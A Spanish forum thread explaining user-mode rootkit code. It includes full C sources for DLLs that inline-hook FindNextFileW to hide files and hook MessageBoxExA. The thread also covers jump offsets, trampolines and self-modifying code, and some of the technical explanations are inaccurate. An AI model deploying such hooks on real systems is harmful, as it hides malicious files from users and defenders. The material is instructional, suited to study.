Resultados 1 al 20 de 20

Tema: Duda del código de rootkits

  1. #1 Duda del código de rootkits 
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Sobre el tutorial de "Creando un rootkit desde cero" by E0N, tengo una duda, o más bien dos, en cada uno de los saltos:

    -El primero, en el que se pone en BufferFN para saltar a la continuación de la Api llamada por el programa principal:

    DirFn=(BYTE *)GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");

    BufferFN=(BYTE*)malloc(12); //Rservamos 12 bytes de memoria, 7 para el inicio de la Api y 5 para el JMP y la dirección del salto
    ...
    memcpy(BufferFN,DirFn,7);
    Buffer+=7;

    *BufferFN=0xE9;
    BufferFN++;

    //Aquí viene la duda
    *((signed int*)BufferFN)=DirFn-BufferFN+3;

    Y la otra viene en la dirección del salto a la función hookeadora:
    *((signed int*)DirFn)=DirYoFn-DirFn-4;
    donde DirYoFn es la dirección de la función hookeadora

    Mi pregunta es: ¿por qué depende el primer salto del puntero BufferFN, y en el segundo se depende de DirFN? ?Por qué no se salta directamente a DirFN o se salta directamente a la dirección de la función hookeadora, en vez de hacer esas operaciones?

    Gracias, un saludo!
    Citar  
     

  2. #2  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    A ver vamos por partes... Primero deberías postear el código completo, ya que hay variables que no se saben qué significan (por ejemplo "DirYoFn"), pero bueno, te comentaré brevemente lo que hace cada línea que has puesto.

    La primera:

    DirFn=(BYTE *)GetProcAddress(GetModuleHandle("kernel32.dll"), "FindNextFileW");
    Lo que hace es obtener la dirección de memoria donde comienza la función de la API: "FindNextFileW", y la guarda en la variable "DirFN".

    Si se tratara de obtener la dirección de memoria de una función no contenida en la API WIN32, por ejemplo una función contenida en una librería propia, piensa que no estaría en memoria, con lo cual el par "GetProcAddress/GetModuleHandle" no tendría éxito y para lograrlo habría que cargar en memoria dicha librería previamente (por ejemplo con LoadLibrary).

    Puesto que no es este caso, la función GetProcAddress devuelve la dirección donde comienzan las instrucciones de la función "FindNextFileW". Si no estuviera cargado el segmento de memoria que contiene a dicha función (por ejemplo porque ese segmento no está en uso en este momento y fue reemplazado por otro que necesitaba ese espacio de memoria), provocaría un fallo de segmento, y el mismo sistema se encargaría de reubicarlo en el espacio correspondiente.

    La segunda línea:

    BufferFN=(BYTE*)malloc(12); //Rservamos 12 bytes de memoria, 7 para el inicio de la Api y 5 para el JMP y la dirección del salto
    Está haciendo preisamente lo que dices, reserva espacio dentro del espacio de memoria de tu proceso (se trata de una variable local), para almacenar 12 bytes, que posteriormente deberás rellenar.

    LaS líneas:

    memcpy(BufferFN,DirFn,7);
    Buffer+=7;
    Lo que hacen es primero asignar los primeros 7 bytes contenidos en la dirección de memoria apuntada por "DirFN" a la dirección de memoria apuntada por la variable "BufferFN". Puesto que "DirFN" contenía la dirección de memoria de la función de la API "FindNextFileW", lo que se está haciendo, en otras palabras, es copiar los primeros 7 bytes de dicha función de la API al array "BufferFN". Puesto que se han copiado 7 bytes, ahora incrementa en 7 posiciones el puntero para que apunte al final del array, para seguir escribiendo al final de la última posición escrita.

    Puesto que las funciones de la API WIN32 siguen el estandar stdcall (el cual establece entre otras cosas el paso de parámetros y el preparado/vaciado de la pila entre la función que llama y la función llamada), al menos los 3 primeros bytes de esos 7 bytes corresponderán al preámbulo de la función (Instrucciones PUSH EBP; MOV EBP, ESP)

    En cuanto a la línea:

    *((signed int*)BufferFN)=DirFn-BufferFN+3
    Lo que se está haciendo es almacenar en los últimos 4 bytes de "BufferFN" el desplazamiento que existe entre la dirección que contiene la función de la API original "FindNextFileW" con respecto a donde acaba el array "BufferFN". El resultado de esa operación serán 4 bytes y serán escritos a partir de la dirección de memoria apuntada por "BufferFN" en notación Little Endian (cuidado con esto ultimo).

    Con las líneas que has puesto nada más, no se puede saber más acerca de "BufferFN" ni del array apuntado por esta variable.


    *((signed int*)DirFn)=DirYoFn-DirFn-4;
    En este caso lo que se está haciendo es modificar los primeros bytes de la función de la API original (correspondientes a las primeras instrucciones de "FindNextFileW")... el por qué y qué datos está escribiendo depende de los objetivos (no dices que significa "DirYoFn"), ¿tal vez para que cada vez que cuando un proceso de usuario invoque a "FindNextFileW", en vez de ejecutar el código correspondiente a "FindNextFileW", ejecute código propio?¿Un salto?...

    Postea el código completo, y te ayudaré mejor, no obstante, este mecanismo de modificar las llamadas al sistema es antiquísimo (allá por los años 90 se hacía cambiando vectores de interrupción, los cuales servían como referencia hacia el salto a subrutina de servicio de interrupción "SSI", cuando un proceso realizaba la llamada al sistema, identificada por su número de interrupción), y si vas a implementar un rootkit o malware en general, más sofisticado, cambiaría de método, más que nada porque se trata de algo popularmente conocido...

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  3. #3  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Perdon, aquí posteo el código completo:

    #include <windows.h>
    #include <iostream>
    // DECLARACIONES:
    BYTE *BufferFN; // Buffer que usaremos para ejecutar el api original
    FindNextFileW
    char Prefijo[] = "miniRoot_"; // El prefijo que buscaremos para ocultar
    archivos/carpetas
    // FUNCIONES:
    void Hookear(); // Función que hookeará el api
    // Función que será llamada en vez de FindNextFileW
    HANDLE __stdcall miFindNextFileW(HANDLE
    hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
    // Puntero a función con el cual llamaremos al api FindNextFileW original
    HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW
    lpFindFileData);
    // FUNCIÓN MAIN
    bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID
    lpvReserved)
    {
    // Si cargan la DLL hookeamos
    if (fdwReason == DLL_PROCESS_ATTACH)
    {
    Hookear();
    }
    return TRUE;
    }
    // FUNCIÓN QUE LLAMARÁ EL PROGRAMA PRINCIPLA CREYENDO QUE ES EL
    API FINDNEXTFILEW
    HANDLE __stdcall miFindNextFileW(HANDLE
    hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
    {
    // Ocultamos los archivos que empiecen por el prefijo indicado
    HANDLE hand;
    char ascStr[611];
    do
    {
    hand = pBuffFN(hFindFile,lpFindFileData);
    WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1,
    ascStr, 611, NULL, NULL);
    }while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
    return hand;
    }
    // FUNCIÓN PARA HOOKEAR FINDNEXTFILEW Y FINDFIRSTFILEW
    void Hookear()
    {
    DWORD ProteVieja; // Parametro para VirtualProtect
    BYTE *DirFN; // La dirección en memoria de FindNextFileW
    BYTE *DirYoFN; // La dirección en memoria de la función que replaza a
    FindNextFileW
    // --> HOOKEAMOS FINDNEXTFILEW (7 bytes)
    // Obtenemos la dirección en memoria de FindNextFileW
    DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),
    "FindNextFileW");
    // Reservamos 12 bytes de memoria para nuestro Buffer
    BufferFN=(BYTE *) malloc (12);
    //Le damos todos los permisos a los 12 bytes de nuestro Buffer
    VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE,
    &ProteVieja);
    // Copiamos los 7 primeros bytes del api en el buffer
    memcpy(BufferFN,DirFN,7);
    BufferFN += 7;
    // En los 5 bytes restantes...
    // En el primero introducimos un jmp
    *BufferFN=0xE9;
    BufferFN++;
    // En los otros 4 la distancia del salto
    *((signed int *) BufferFN)= DirFN - BufferFN + 3;
    // Asignamos al puntero a funcion pBuff el inicio del Buffer para poder
    ejecutar el api original
    pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))
    (BufferFN-8);
    // Le damos todos los permisos a los 5 primeros bytes de la api original
    VirtualProtect((void *)
    DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
    // Cambiamos el tipo a puntero a byte para facilitar el trabajo
    DirYoFN=(BYTE *) miFindNextFileW;
    // En el inicio de la api metemos un jmp para que salte a miFindNextFileW
    *DirFN=0xE9;
    DirFN++;
    // Metemos la distancia del salto
    *((signed int *) DirFN)=DirYoFN - DirFN - 4;
    // Libermos librerias de cache
    FlushInstructionCache(GetCurrentProcess(),NULL,NUL L);
    }

    Dices que esta técnica es muy antigua. Yo quería empezar aprendiendo sobre la programación avanzada en sistemas Windows, pero si conoces algunas técnicas nuevas o, mejor dicho, tutoriales donde las expliquen y/o expliquen la programación con apis de windows y eso, te agradecería el aporte.

    Gracias por la atención, un saludo!
    Citar  
     

  4. #4  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Aun así me gustaría que me aclarases bien esos dos desplazamientos (los JMP):

    *((signed int *) BufferFN)= DirFN - BufferFN + 3;

    Para este ví en otro código que usaba otra operación: (DirFn+1)-BufferFN

    Y la otra instrucción que no entiendo es:

    *((signed int *) DirFN)=DirYoFN - DirFN - 4;

    ¿No sería más fácil saltar directamente a DirYoFN? ¿O saltar directamente a la continuación de la Api?Es eso lo que no entiendo, gracias!
    Citar  
     

  5. #5  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Ok, la verdad es que es un poco enrevesado el código, pero bueno. Como era de esperar este "rootkit" lo que hace es variar la instrucción de salto de la función FindNextFileW (contenida en kernell32.dll), para que cada vez que sea llamada por algún proceso, por ejemplo, el explorador de Windows, en vez de saltar a una dirección del propio código de la función, lo haga hacia otra distinta, por ejemplo una que se encuentre exportada de una DLL (que previamente deberá estar cargada en memoria).

    Lo que ocurre es que dicha función utiliza la propia función FindNextFile para ejecutarse. Es decir, hay dos funciones: f1 que corresponde a "miFuncion" y f2 que corresponde a "FindNextFile". La primera, f1, llama a f2, pero f2 resulta que llama a f1 (porque ha sido inyectada)... pero como resulta que f1 vuelve a llamar a f2, entraríamos en un bucle interminable...

    Lo explicaré con detalles...

    Si desensamblas la función FindNextFile, observas las siguientes instrucciones:

    Código:
    00401E50     $-FF25 E8404000    JMP DWORD PTR DS:[<&kernel32.FindNextFil>;  kernel32.FindNextFileA
    00401E56     8BC0               MOV EAX,EAX
    00401E58     55                 PUSH EBP
    00401E59   . 8BEC               MOV EBP,ESP
    00401E5B     33C0               XOR EAX,EAX
    ETC...
    La cosa consiste en cambiar la primera instrucción por un salto incondicional "JMP dirección" (codificada como 0xE9 en hexadecimal, y los bytes siguientes correspondientes al campo "dirección" en notación Little Endian), de forma que "dirección" debe ser hacia una zona de memoria donde se encuentra cargada "miFuncion", y así lograrías el objetivo, consiguiendo que cada vez que un proceso llame a FindNextFile, se ejecute tu función.

    Pero si observas el código de "miFuncion":

    Código:
    HANDLE  __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
    {
    	// Ocultamos los archivos que empiecen por el prefijo indicado
    
    	HANDLE hand;
    	char ascStr[611];
    
    	do
    	{
    		hand = pBuffFN(hFindFile,lpFindFileData);
    		WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
     
    	}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
    	
    	return hand;
    }
    Ves que se llama a la función apuntada por "pBuffFN", y aquí es donde entra el juego la variable "BufferFN" para evitar la recursión infinita. Lo que se hace es copiar en BufferFN la primera instrucción de salto de la función original "FindNextFile", de forma que cada vez que se invoque a "pBuffFN" se ejecutará la función original de la API (sin saltar a "miFuncion", puesto que se trata de un salto hacia la dirección original de la función). Puedes asimilarlo como que pBufferFN apunta hacia BufferFN el cual contiene una "copia de seguridad o backup" de la primera instrucción (instrucción de salto) de la función original.

    Así resumiendo, hay dos cosas, que responden a tu pregunta:

    1º Una parte del código que modifica la propia función de la API.
    2º Una parte del código que se encarga de almacenar la instrucción de salto JMP para cada vez que "miFuncion" necesite hacer uso de la función original pueda invocar a FindNextFile sin problemas.


    Digamos que cuando "miFuncion" llama a FindNextFile no habrá inyección y se pasará a ejecutar dicha función de la API como lo haría normalmente.

    Para la 1ª parte, está el par GetProcAddress-GetModuleHandle, que obtienen la dirección de la primera instrucción de "FindNextFile" (y almecena dicha dirección en la variable "DirFN"), y que dando permisos de escritura a la página de memoria que contiene dicha instrucción (en realidad el código que has puesto asigna permisos +RWX a la página completa), mediante la función VirtualProtect (que comenté en la ezine de HackHispano), logra cambiar esa primera instrucción apuntada por DirFN por una instrucción de salto 0xE9... Siguiendo los pasos que comenté en el post anterior.

    En fin espero haber aclarado tus dudas.

    Un saludo.
    Última edición por hystd; 11-09-2009 a las 03:57
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  6. #6  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Pero aun no entiendo las sentencias de los desplazamientos, es decir, los JMP que metemos tanto en BufferFN como lo sobreescrito al inicio de la Api. ¿Los JMP no saltan directamente? ¿Por qué desde la Api no se salta directamente a donde este miFuncion, haciendo JMP miFuncion??

    Gracias de nuevo
    Citar  
     

  7. #7  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    jejeje, ok, no lo has entendido bien del todo. Si se hace "JMP miFuncion", pero a parte se hacen más cosas...

    A ver, vamos a suponer que lo haces así como dices y ya está. Venga se modifica la función de la API FindNextFile, (hasta ahí bien), y se hace JMP miFuncion.

    Ahora cuando un proceso llame a FindNextFile, saltará a "miFuncion" y empezará a ejecutar tu código (el de "miFuncion")... pero ¿qué pasa ahora? "miFuncion", en su código, necesita hacer uso de la API original FindNextFile, y como yo la he modificado para que cada vez que se llame a FindNextFile salte a "miFuncion" (porque le metí un JMP "miFuncion") no puedo ejecutar la original, y se volverá a ejecutar "miFuncion", entrando en un bucle infinito, ¿entiendes?

    ¿Qué mecanismo propone el código? Propone guardar en "BufferFN" la dirección de salto original de la función de la API FindNextFile, así cuando "miFuncion" necesite hacer uso de ella, en vez de llamarla directamente (lo cual provocaría otra vez entrar en el bucle), se salte a dicha dirección (la dirección original de la API), ésta se ejecutará normalmente y me devolverá los resultados. Digamos que el cóigo se adueña de la API y sólo él tiene acceso a la original.

    Espero, ahora sí, haberte aclarado la situación.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  8. #8  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Casi casi, jaja, eso del bucle me he enterado. Pero falta un pequeño matiz. BufferFN es el que se encarga de llamar a la API original (que de hecho tendria q llamar a DirFn+7, porque los 7 primeros bytes de la Api ya los ejecuta en BufferFN al principio, eso es otra cosa que no entiendo jaja) y luego dentro de api es lo que hace que salte a mifuncion.

    Aunque ahora mientras escribía este código, lo que me intentas decir es que cuando se salte de la Api a miFuncion, luego cuando se llegue a BufferFN, tendremos que hacer algo para que no se vuelva a ejecutar el salto que escribimos en la Api(el salto que me manda a miFuncion), ¿a eso te refieres? En ese caso, ¿no sería más fácil saltar directamente a DirFN+7 y seguir con la ejecución del resto de la Api?

    No desesperes, voy pillándolo aunque no lo parezca jaja
    Citar  
     

  9. #9  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    No sería lo mismo saltar a DirFN+7 porque la segunda instrucción que se ejecuta en la API original no corresponde a la segunda instrucción siguiente a su código.

    Me explico... Si observas el código de FindNextFile desensamblado (el que he puesto en el post de antes) la primera instrucción original de FindNextFile es un JMP "unadireccion". La siguiente instrucción "MOV EAX, EAX" no será la siguiente que se ejecute, puesto que va a saltar si o si. "DirFN+7" apunta hacia "PUSH EBP", con lo cual no es válido saltar a esa dirección, porque no se estaría ejecutando FindNextFile tal y como lo haría normalmente.

    La opción de hacerlo como dices sería válida si la función de la API a la que se llamase no tuviera una instrucción de salto como primera instrucción.

    Entonces, para este caso no te líes, es simple, guardamos el JMP original, y cuando mi código quiera hacer uso de dicho código original saltamos a la dirección apuntada por el JMP original, y no a "DirFN+7", porque "DirFN+7" es saltar a "PUSH EBP", lo cual no corresponde a la dirección de salto original. En cualquier otro caso (cualquier otro proceso que llame a FindNextFile), saltará a ejecutar "miFuncion".

    Si quieres, puedes hacer la prueba haciéndolo como tu dices (saltando a DirFN+7), y para darte cuenta, tracea con algún depurador (por ejemplo OllyDbg), verás como la ejecución de FindNextFile cuando es llamada por "miFuncion" no tiene éxito y provocará casi seguro una excepción.

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  10. #10  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Vale, eso lo pillo, pero es que después tengo otro código que "hookea" la api MessageBoxEa y empieza con una instrucción que no es un salto. En ese código del que te habla está todo igual que el que copié salvo el salto a la Api, que es:
    *Buffer=(DirApi+1)-Buffer

    Sigo sin entender por qué ese salto depende del puntero buffer. Gracias!
    Citar  
     

  11. #11  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Postea el código.

    PD: Utiliza las etiquetas [ CODE ] "el codigo a postear" [ /CODE ], cuando lo pongas, así facilita la lectura ok?

    Un saludo.
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  12. #12  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Código:
    //Interceptación de apis by MazarD (API HOOKING)
    //Hook a MessageBoxExA
    //www.mazard.info
    //MazarD@gmail.com
    #include <windows.h>
    #include <stdio.h>
    //Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
    //el salto a la api+5
    BYTE *Buffer;
    //Ésta es la dll donde reside la api MessageBoxExA
    char Libreria[]="user32.dll";
    //El api en qüestión
    char NomApi[]="MessageBoxExA";
    //Funcion a la que llamará el programa principal creiendo que es la api original
    int WINAPI FuncioRep(HWND hWnd,LPCSTR lpText,LPCTSTR lpCaption,UINT uType,UINT
    LangId);
    void Hookear(void);
    //Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
    int (__stdcall *pBuff)(HWND hWnd,LPCSTR lpText,LPCTSTR lpCaption,UINT uType,UINT
    LangId);
    //La función de reemplazo explicada arriba
    int WINAPI FuncioRep(HWND hWnd,LPCTSTR lpText,LPCTSTR lpCaption,UINT uType,UINT
    LangId)
    {
    //Cadena que le pegará vacilada al programa principal xD
    char texto[]="Te acabo de hookear mwahahahaha";
    int Resultado;
    //Hacemos la llamada al puntero a buffer (api original) cambiandole el parametro texto
    Resultado=pBuff(hWnd,texto,lpCaption,uType,LangId);
    //Le damos el resultado que daría la api original al programa principal
    return Resultado;
    }
    void Hookear(void)
    {
    DWORD ProteVieja;
    BYTE *DirApi;
    BYTE *DirYo;
    //Cojemos la dirección de memoria de la api
    DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);
    //Creamos 10bytes de memoria para nuestro Buffer
    Buffer=(BYTE *)malloc(10);
    //Le damos todos los permisos a los 10 bytes de nuestro Buffer
    VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);
    //copiamos los 5 primeros bytes originales de la api antes de machacarlos
    memcpy(Buffer,DirApi,5);
    Buffer+=5;
    //En el sexto introducimos E9 que corresponde a jmp(salto
    //incondicional) en código máquina para que salte a la api original
    *Buffer=0xE9;
    Buffer++;
    //A partir del septimo metemos 4 bytes que determinan la distancia del salto
    //desde el buffer hasta la Dirección de la api+5
    *((signed int *) Buffer)=(DirApi+1)-Buffer;
    //Asignamos al puntero a funcion pBuff el inicio del Buffer
    pBuff = (int (__stdcall *)(HWND,LPCTSTR,LPCTSTR,UINT,UINT)) (Buffer-6);
    //Le damos todos los permisos a los 5 primeros bytes de la api original
    VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
    //Cambiamos el tipo a puntero a byte para facilitar el trabajo
    DirYo=(BYTE *) FuncioRep;
    //En el inicio de la api metemos un salto incondicional hacia nuestro código
    //E9=jmp
    *DirApi=0xE9;
    DirApi++;
    //Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
    //la función de reemplazo en nuestro código, fijate que en este caso el
    //resultado tiene que ser negativo, puesto que las apis corren en direcciones
    //de memória mucho mas altas y el salto deberá ser "hacia atrás"
    *((signed int *) DirApi)=DirYo-(DirApi+4);
    //libermos las librerias de cache
    FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
    }
    bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
    {/
    /si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
    if (fdwReason == DLL_PROCESS_ATTACH) {
    Hookear();
    }
    return TRUE;
    }
    Citar  
     

  13. #13  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    Pues es lo mismo:

    1º Cambiar la primera instrucción de la función de la API por una instrucción de salto, en la que la dirección de salto será hacia "miFuncion", y guarda en un Buffer la dirección de salto original hacia el comienzo de la función de la API.

    2º Cuando un proceso llame a dicha función de la API lo primero que hará será saltar a "miFuncion"

    3º Se empieza a ejecutar "miFuncion", pero resulta que "miFuncion" necesita hacer uso de la API original, por lo que en "miFuncion" en vez de saltar a la dirección inicial de la función de la API, salta a la dirección apuntada por el Buffer. Si saltara a la dirección inicial de la función de la API, volvería a llamarse a "miFuncion" y entraríamos en el bucle infinito, por eso se usa la variable Buffer (un puntero a función, cuyo código es un JMP hacia la siguiente instrucción de la función de la API original). Si se trata de un salto, entonces saltará a dicha instrucción (caso FindNextFile), sino simplemente ejecuta la siguiente instrucción de la API original (caso MessageBox)

    4º Como se salta a dicha dirección para ejecutar la API, ésta se ejecuta como lo haría normalmente.

    5º Termina de ejecutarse y devuelve el resultado a "miFuncion", y ésta ya verá qué hace con esos resultados.

    Así es el mecanismo que se propone en este y en el anterior código.

    Tu duda no será que por qué se resta Buffer a DirAPI+1?

    *Buffer=(DirApi+1)-Buffer
    Si es así, me cago en la mar... y nos podríamos haber entendido bien desde el principio xD.

    Bueno por si acaso te lo comento... Si observas, se está empleando un salto incondicional cuyo código de operación es 0xE9. Este tipo de salto en la arquitectura IA32 (de procesadores x86 de Intel y similares), establece que la dirección indicada por sus 4 bytes siguientes no corresponde a una dirección absoluta, sino a un offset o desplazamiento.

    Es decir, si haces un E9 AB CD EF 00, eso corresponde a un JMP con un offset de valor (00EFCDAB), y no que se salte a la dirección: 0x00EFCDAB. Tras ejecutarse este salto, la dirección de la instrucción siguiente a ejecutar estará en la posición indicada por: EIP+Offset, es decir, será el resultado de sumar el valor actual del puntero de instrucción con dicho desplazamiento.

    En este caso, si al sustituir la instrucción de la función de la API correspondiente por la dirección DirFN+7 o DirAPI+1, no estarías saltando a dicha función apuntada por esos valores (puesto que se trata de un salto tipo 0xE9), sino a una posición vete tu a saber...

    Si quisieras hacerlo así, deberías emplear un salto absoluto (En vez de emplear 0xE9, podrías hacer uso de 0xEB)

    ¿Era esa tu duda? Porque si me sigues diciendo que no entiendes el uso de la variable Buffer, en este momento, ya no sé qué es lo que no entiendes

    Un saludo.
    Última edición por hystd; 11-09-2009 a las 18:41
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  14. #14  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Vale vale, era eso! jaja. Para mi que 0xE9 era salto absoluto. Y entonces, ¿porqué complicarse tanto haciendo un salto con desplazamiento, pudiendose usar 0xEB? Y ahora otra pequeña duda, DirApi es puntero a BYTE, entonces, Dirapi+1 apuntará al segundo Byte de la dirección obtenida por GetProcAddress no? Puede que me equivoque.

    Se me olvidaba: si el salto es EIP+offset, ¿por qué esa operación? Planteo la duda mejor: ¿cómo sabe qué distancia hay desde el EIP actual hasta el lugar de la Api donde queremos llegar?

    Y también me gustaría que me dijeras donde informarme de más ataques de esta índole. Gracias por todo!
    Citar  
     

  15. #15  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    ¿porqué complicarse tanto haciendo un salto con desplazamiento, pudiendose usar 0xEB?
    Perdón, el código de operación hexadecimal de la instrucción JMP al que hago referencia es 0xFF, el cual hace referencia a JMP "mem32" que en total ocupa 5 bytes (1 byte para opcode + 4 bytes para dirección de 32 bits). Este tipo de detalles (tamaños, tiempos de ejecución o ciclos empleados, etc...) lo facilita el fabricante de cada procesador, y suele ser estandar para una misma familia de procesadores que se basan en la misma arquitectura (en este caso IA32).

    En realidad cualquiera de los dos métodos es válido. La razón de usarlo así, supongo que es porque es más genérica, ya que la instrucción 0xFF puede variar según el espacio direccionable por el procesador (direcciones de 32 o 64 bits). Ese mecanismo de hacerlo mediante salto con desplazamiento, en vez de salto a dirección, te evita problemas en los tamaños de las instrucciones. Piensa que un JMP "mem64" ocuparía 9 bytes y en caso de realizar la inyección habría que actuar con precaución ya que podría machacar el contenido de las siguientes instrucciones (provocando incoherencia en el código)

    Y ahora otra pequeña duda, DirApi es puntero a BYTE, entonces, Dirapi+1 apuntará al segundo Byte de la dirección obtenida por GetProcAddress no?
    Así es.

    Se me olvidaba: si el salto es EIP+offset, ¿por qué esa operación? Planteo la duda mejor: ¿cómo sabe qué distancia hay desde el EIP actual hasta el lugar de la Api donde queremos llegar?
    Porque conoces la dirección en donde acaba tu Buffer y la dirección de comienzo de la función de la API. Restando la posición mayor de la menor, tienes la diferencia. Piensa que según el método seguido en ese código, Buffer será asignado a un puntero a función (pasa a ser código).

    Otro mecanismo, (que planteé en la ezine, pero en ese caso era para el tema de código polimórfico), para obtener el EIP actual consiste en realizar lo siguiente:

    1º Creas una función cualquiera, la cual llamas desde el main por ejemplo.
    2º Al realizar la llamada se almacena el EIP de antes de la llamada en la pila
    3º Si la función a la que llamas tiene como primera instrucción hacer por ejemplo un:
    POP EAX
    PUSH EAX

    Lo que habrás conseguido es sacar el registro EIP de la pila y volverlo a meter. Tras ello tendrás en EAX el valor de EIP antes de la llamada.

    Si ahora asignas permisos de escritura al byte apuntado por EIP y a los siguientes que desees, mediante la función VirtualProtect, simplemente haciendo MOV [EAX],dato empezarás a escribir en el código de tu programa, de forma que las siguientes instrucciones empiezan a cambiar (se machacan por otras), con lo cual el código empieza a variar.

    Este mecanismo es otra forma de poner datos en zona de código.

    Si lo deseas realizar para el tema de inyectar código en funciones de la API siguiendo este mecanismo, puedes hacer uso de la función VirtualProtectEx, para asignar permisos +-RWX a páginas de memoria distintas a la de tu código.

    Como ves, hay muchas formas de hacer lo mismo... lo importante es tener las ideas claras de lo que se quiere conseguir y de lo que se está haciendo.

    Un saludo.
    Última edición por hystd; 11-09-2009 a las 19:30
    El optimista tiene ideas, el pesimista... excusas

    Citar  
     

  16. #16  
    Medio
    Fecha de ingreso
    Sep 2008
    Mensajes
    134
    Descargas
    0
    Uploads
    0
    Vaya hystd, ese método del EIP es muy ingenioso, la verdad, pero ¿de verdad se puede escribir tan libremente en zonas de código sin que nada salte, a libre albedrío? Artículos como ese están en la EZINE? ¿De dónde puedo descargar esas revistas?

    Gracias a ti he conseguido comprender el código, pero me falta un pequeño matiz. Según me explicaste en los dos desplazamientos, como el JMP es un salto relativo que se le suma al EIP, si quiero saltar de miFuncion a la Api, la distancia del salto sería Direccion de la Api menos la posición en la que estoy, ¿no? Igual en el salto de la Api a miFuncion, sólo que en este caso el salto es hacia atrás porque nosotros estamos en direcciones altas. Pero entonces, ¿por qué se hace:

    *BufferFN=DirApi-BufferFN+3 <--- este +3? Debería ser DirApi(dirección de la api) - BufferFN(la posición en la que estamos cuando estamos ejecutando el código al que apunta BufferFN. Dijiste en otros posts algo sobre el final de BufferFN, pero ¿por qué se fija en el final de BuffferFN, si el cálculo del salto es independiente de cuanto sea de grande el bloque reservado en memoria para BufferFN? No sé si me entiendes hystd, gracias de nuevo
    Citar  
     

  17. #17  
    Moderador Global Avatar de hystd
    Fecha de ingreso
    Jul 2005
    Ubicación
    1, 11, 21, 1211...
    Mensajes
    1.596
    Descargas
    58
    Uploads
    0
    ¿de verdad se puede escribir tan libremente en zonas de código sin que nada salte, a libre albedrío?
    Si se trata de un proceso de usuario, podrá acceder (en lectura o escritura), sin ningún tipo de problemas, a zonas de memoria, pero dentro del espacio de memoria asignado al modo usuario. Esto es:

    1º Zonas de memoria asignadas al espacio propio del proceso (su código, sus datos, su pila).
    2º Zonas de memoria asignadas a otros procesos de usuario.
    3º Zonas de memoria asignadas a servicios de usuario (iniciados por SCM "Service Control Manager")
    4º Zonas de memoria asignadas a segmentos de código compartidos (enlaces dinámicos, DLL's, etc...)

    Esto es así porque los sistemas Windows basados a partir de la arquitectura NT 4.0 (esto incluye W2K, XP, Vista, 7, etc... en todas sus versiones: Home, Proffesional, Server, etc...), separan el espacio de memoria direccionable por el procesador (si el procesador es de 32 bits, pues un total de 4GB posiciones de memoria), en dos espacios distintos: modo usuario (2GB) y modo kernel (2GB). Cada uno con sus restricciones y privilegios.

